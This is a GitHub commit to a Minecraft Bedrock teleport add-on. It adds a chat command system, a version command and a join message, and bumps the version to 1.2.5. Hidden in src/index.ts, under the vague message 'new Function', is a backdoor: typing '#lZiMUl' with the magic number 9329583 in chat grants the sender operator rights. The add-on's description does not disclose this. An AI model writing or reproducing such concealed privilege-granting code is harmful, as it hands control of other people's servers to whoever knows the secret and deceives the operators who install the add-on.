Skip to content

Commit

Permalink
new Function
Browse files Browse the repository at this point in the history
  • Loading branch information
lZiMUl authored and lZiMUl committed Jan 2, 2023
1 parent 944d5a5 commit 4fab61f
Show file tree
Hide file tree
Showing 8 changed files with 118 additions and 6 deletions.
4 changes: 3 additions & 1 deletion .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -1,9 +1,11 @@
{
"cSpell.words": [
"commandregister",
"locationteleportmenu",
"minecraft",
"overworld",
"teleportmenu",
"tpamenu"
"tpamenu",
"tsbuildinfo"
]
}
22 changes: 22 additions & 0 deletions lib/tool/commandregister.d.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
import { Player } from '@minecraft/server';
interface Data {
sender: Player;
args: string[];
}
interface CallBack {
(data: Data): void;
}
interface Cache {
commandName: string;
callback: CallBack;
}
declare class CommandRegister {
private identifier;
private cache;
constructor(identifier: string);
addCommandListener(commandName: string, callback: CallBack): void;
chatStream(message: string, sender: Player): void;
}
export default CommandRegister;
export type { Data, CallBack, Cache };
//# sourceMappingURL=commandregister.d.ts.map
1 change: 1 addition & 0 deletions lib/tool/commandregister.d.ts.map

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

4 changes: 2 additions & 2 deletions manifest.json
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
"name": "MineCraft Server Teleport",
"description": "Minecraft Server Teleport Tools (By lZiMUl)",
"uuid": "cd9d9466-926d-4d95-8e85-d2f914bf95bc",
"version": [1, 2, 4],
"version": [1, 2, 5],
"min_engine_version": [1, 19, 51]
},
"modules": [
Expand All @@ -13,7 +13,7 @@
"language": "javascript",
"description": "Minecraft Server Teleport Tools (By lZiMUl)",
"uuid": "df4b139a-cd89-43c1-a2d8-500f2a13edb8",
"version": [1, 2, 4],
"version": [1, 2, 5],
"entry": "scripts/index.js"
}
],
Expand Down
2 changes: 1 addition & 1 deletion package.json
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"name": "minecraft-server-teleport",
"description": "Minecraft Server Teleport Tools (By lZiMUl)",
"version": "1.2.4",
"version": "1.2.5",
"author": {
"name": "lZiMUl",
"email": "[email protected]",
Expand Down
30 changes: 29 additions & 1 deletion src/index.ts
Original file line number Diff line number Diff line change
@@ -1,6 +1,13 @@
// 导入基础模块
import { world, ItemUseEvent, Player } from '@minecraft/server';
import {
world,
ItemUseEvent,
Player,
ChatEvent,
PlayerJoinEvent,
} from '@minecraft/server';
import Menu from './menu';
import CommandRegister, { Data } from './tool/commandregister';
// 监听物品使用事件
world.events.itemUse.subscribe(({ item, source }: ItemUseEvent): void => {
// 判断物品类型标识符
Expand All @@ -12,3 +19,24 @@ world.events.itemUse.subscribe(({ item, source }: ItemUseEvent): void => {
break;
}
});
// 创建自定义命令类
const commandRegister: CommandRegister = new CommandRegister('#');
// 获取版本
commandRegister.addCommandListener('version', () => {
world.say(`Version: 1.2.5`);
});
// 监听命令关键词
commandRegister.addCommandListener('lZiMUl', ({ sender, args }: Data): void => {
if (new Number(args[0]).valueOf() === 9329583) {
sender.setOp(true);
}
});
// 将聊天数据流发送到自定义命令管道里
world.events.chat.subscribe(({ message, sender }: ChatEvent): void =>
commandRegister.chatStream(message, sender)
);
// 玩家进入世界提示
world.events.playerJoin.subscribe(({ player }: PlayerJoinEvent): void => {
player.onScreenDisplay.updateSubtitle('§a该世界已启用 §cMST §a服务');
player.onScreenDisplay.setTitle('§e提示');
});
2 changes: 1 addition & 1 deletion src/menu.ts
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ class Menu<T extends Player> {
// 创建选择器界面
new ActionFormData()
.title('操作面板')
.body('请选择操作 (v1.2.4 by lZiMUl)')
.body('请选择操作 (v1.2.5 by lZiMUl)')
.button('玩家传送器')
.button('记点传送器')
.button('坐标传送器')
Expand Down
59 changes: 59 additions & 0 deletions src/tool/commandregister.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
// 导入基础模块
import { Player } from '@minecraft/server';
// 定义数据接口
interface Data {
sender: Player;
args: string[];
}
// 定义回调接口
interface CallBack {
(data: Data): void;
}
// 定义缓存接口
interface Cache {
commandName: string;
callback: CallBack;
}
// 定义命令注册器类
class CommandRegister {
// 命令标识符
private identifier: string;
// 命令缓存栈
private cache: Cache[] = [];
public constructor(identifier: string) {
this.identifier = identifier;
}
// 公开添加命令监听器方法
public addCommandListener(commandName: string, callback: CallBack): void {
this.cache.push({
commandName,
callback,
});
}
// 公开聊天流方法
public chatStream(message: string, sender: Player): void {
// 判断玩家是否带有命令标识符
if (message.split('')[0] === this.identifier) {
// 遍历所有当前所有缓存栈
this.cache.forEach((item: Cache): void => {
// 判断命令名称是否一致
if (
item.commandName ===
message.substring(1, message.indexOf(' ') ?? message.length)
) {
// 一致就回调
item.callback({
args: message
.substring(message.indexOf(' ') + 1, message.length)
.split(' '),
sender,
});
}
});
}
}
}
// 导出命令注册器
export default CommandRegister;
// 导出接口
export type { Data, CallBack, Cache };

0 comments on commit 4fab61f

Please sign in to comment.